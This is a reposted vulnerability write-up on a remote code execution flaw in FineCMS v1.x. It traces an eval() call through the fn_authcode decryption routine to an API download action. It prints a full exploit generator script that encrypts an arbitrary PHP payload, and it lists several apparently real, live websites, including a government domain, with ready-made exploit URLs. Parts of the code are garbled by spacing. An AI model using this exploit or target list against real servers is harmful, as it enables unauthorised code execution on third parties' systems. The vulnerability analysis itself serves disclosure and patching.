FineCMS v1.x Remote Code Execution

Source: Internet
Author: User

FineCMS is a content management system developed based on PHP + MySql. It adopts the MVC design mode to implement proper separation between the business logic and the presentation layer, allowing Web designers to easily design the ideal template, plug-in-based development features are easy to use and easy to expand. It supports custom content models and member models, as well as custom fields, built-in articles, images, downloads, real estate, and product content models, the system form function allows you to easily extend the functions of message, registration, and books to associate with the content model and membership model, fineCMS can provide heavyweight website construction solutions for Small and Medium-sized sites ===currently, this cms has two kernel versions: v1.x and v2.x. It seems that both versions are being updated, maintained, and released on the official forum, v2.x is written in the CI framework of two different products. The latest v1.x version is 1.8, and the update date is 2014.3.23. The v1.x version has a code execution vulnerability and can execute arbitrary code. Detailed Description: I went to the school to build a foundation last weekend. By the way, I participated in an on-campus Competition organized by clover. There was a revised finecms in the question for code auditing, I found a code execution vulnerability in the original cms one afternoon. In/extensions/function. php

function string2array($data) {if ($data == '') return array();if (is_array($data)) return $data;if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {   echo 'before eval $data is:'.$data.'<br>';   @eval("\$array = $data;");return $array;}return unserialize($data);}

 

As you can see, if the $ data passed in by this function is not an array and the first five characters are array, the string2array () function will be tracked in eval (), In/extensions/function. php and fn_authcode () functions call:
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4;$string = $operation == 'DECODE' ? $data : array2string($data);$key = md5($key ? $key : SITE_MEMBER_COOKIE);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya . md5($keya . $keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {return string2array(substr($result, 26));} else {return '';}} else {return $keyc . str_replace('=', '', base64_encode($result));}}

 

As you can see, if the decrypted result of $ result meets the three conditions, such as 0 in the top 10, string2array (substr ($ result, 26) will be executed )) then we can construct an appropriate encrypted string according to the decryption method, so that the decrypted $ result starts from the 26th-bit payload, in this way, you can add @ eval ("\ $ array = $ data;"); and run the specified code. The encrypted keys are related to SITE_MEMBER_COOKIE. The Global constant is in/config. ini. defined in php (random Cookie string), which is empty by default. This causes the payload to be decrypted and executed by default. Next, let's take a look at how to construct an appropriate encrypted string. You can call fn_authcode ($ data, 'eecode') to encrypt a string. However, during encryption in cms, $ data is processed by the array2string () function, this function serializes the Input $ data, resulting in more values of substr ($ result, 26) after decryption. Therefore, the serialize () in array2string () is removed to construct the encryption string. Finally, find the controller that calls the fn_authcode () function, and the first parameter is controllable: In/controllers/ApiController. php,
public function downAction(){    $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');    ……}

 

If the file variable is an encrypted string, you can execute any code to generate the payload of the encrypted string: (the cookie encrypted string SITE_MEMBER_COOKIE is empty by default when it is installed. If it is not empty, it can be cracked)
<? Phpdefine ('site _ MEMBER_COOKIE ', isset ($ _ GET ['ckey'])? $ _ GET ['ckey']: ''); // The default value of ckey is null. If not, function encode ($ data) {$ ckey_length = 4 can be cracked; $ string = array2string ($ data); $ key = md5 (SITE_MEMBER_COOKIE); $ keya = md5 (substr ($ key, 0, 16 )); $ keyb = md5 (substr ($ key, 16, 16); $ keyc = (substr (md5 (microtime (),-$ ckey_length )); $ cryptkey = $ keya. md5 ($ keya. $ keyc); $ key_length = strlen ($ cryptkey); $ string = sprintf ('% 010d', 0 ). substr (md5 ($ string. $ keyb), 0, 16 ). $ s Tring; $ string_length = strlen ($ string); $ result = ''; $ box = range (0,255); $ rndkey = array (); for ($ I = 0; $ I <= 255; $ I ++) {$ rndkey [$ I] = ord ($ cryptkey [$ I % $ key_length]);} for ($ j = $ I = 0; I I <256; $ I ++) {$ j = ($ j + $ box [$ I] + $ rndkey [$ I]) % 256; $ tmp = $ box [$ I]; $ box [$ I] = $ box [$ j]; $ box [$ j] = $ tmp;} for ($ a = $ j = $ I = 0; $ I <$ string_length; $ I ++) {$ a = ($ a + 1) % 256; $ j = ($ j + $ box [$ a]) % 256; $ tmp = $ Box [$ a]; $ box [$ a] = $ box [$ j]; $ box [$ j] = $ tmp; $ result. = chr (ord ($ string [$ I]) ^ ($ box [($ box [$ a] + $ box [$ j]) % 256]);} return $ keyc. str_replace ('=', '', base64_encode ($ result);} function new_stripslashes ($ string) {if (! Is_array ($ string) return stripslashes ($ string); foreach ($ string as $ key => $ val) $ string [$ key] = new_stripslashes ($ val ); return $ string;} function array2string ($ data, $ isformdata = 1) {if ($ data = '') return''; if ($ isformdata) $ data = new_stripslashes ($ data); // return serialize ($ data); return $ data ;}$ payload = 'array (); phpinfo ();'; // you can change the payload by yourself. Ensure that the preceding payload is array (); $ encoded = base64_encode (encode ($ payload); echo 'Payload is: <br> '. $ payload. '<br> SITE_MEMBER_COOKIE: <br> '. SITE_MEMBER_COOKIE. '<br> Encode is: <br> '. $ encoded;?>

 

Exp. php can generate the specified payload encryption string, and then/index. php? C = api & a = down & file = encryption string Code Execution
The demo on the official website failed to be tested. I should have officially modified SITE_MEMBER_COOKIE. Can I use exp. php? Ckey = abcd generate an encrypted string to crack SITE_MEMBER_COOKIE, which may still cause code execution. google found some unaltered ones: http://www.whabc.net/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://www.huoshangsao.com/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://www.spzscq.gov.cn/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://0579fan.com/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://www.ccbf.cc/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://210.26.24.56/pub/wsxy/finecms/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://www.chncall.com/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr http://122.10.72.248/index.php ? C = api & a = down & file = 1160s2zimhf4zxjr ...... ...... Solution:Patch release. The other two versions cannot be upgraded at the same time during maintenance.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.